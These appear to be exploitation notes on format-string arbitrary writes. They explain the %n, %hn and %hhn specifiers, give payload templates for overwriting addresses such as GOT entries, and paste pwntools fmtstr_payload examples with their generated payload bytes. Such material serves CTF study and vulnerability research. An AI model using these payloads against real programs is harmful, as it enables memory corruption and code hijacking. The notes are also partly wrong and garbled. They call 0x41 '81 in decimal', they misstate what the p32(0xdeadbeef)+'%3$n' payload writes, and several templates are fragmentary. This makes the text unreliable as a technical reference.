Default

Arbitrary Write

The %n format specifier writes the total number of bytes printed so far to the location you specified.

This mean that to write 0x41 which is 81 in decimal, It means that 81 characters must be written before the %n placeholder in order to make it write 0x41 at the targeted location.

Note that the %n specifier will write an int size data at the targeted location so it will write 0x00000041 instead of 0x41 use : - %hhn to write a char size data (1 byte)
- %hn to write a short size data (2 bytes)

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printf("Hello%n", &len);
printf("%d", len); // will print  5

writing to a location

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payload = p32(0xdeadbeef) + b"%3$n"

will write 0xdeadbeef to offset 3

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[target_address][target_address+2]%



payload = b'%{int(printf_got)} %{offset}$n '

[ADDR_LOW][ADDR_HIGH][PADDING1][%<OFFSET>$hn][PADDING2][%<OFFSET+1>$hn]


[addr][addr + 2][padding(%<num>x)][%<offset>$hn][$<offset+1>$hn]


Examples:

>>> context.clear(arch = 'amd64')

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')

b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')

b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')

b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

>>> context.clear(arch = 'i386')

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')

b'%322419390c%5$na\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')

b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')

b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')

b'%1c%3$na\x00\x00\x00\x00'

>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')

b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'

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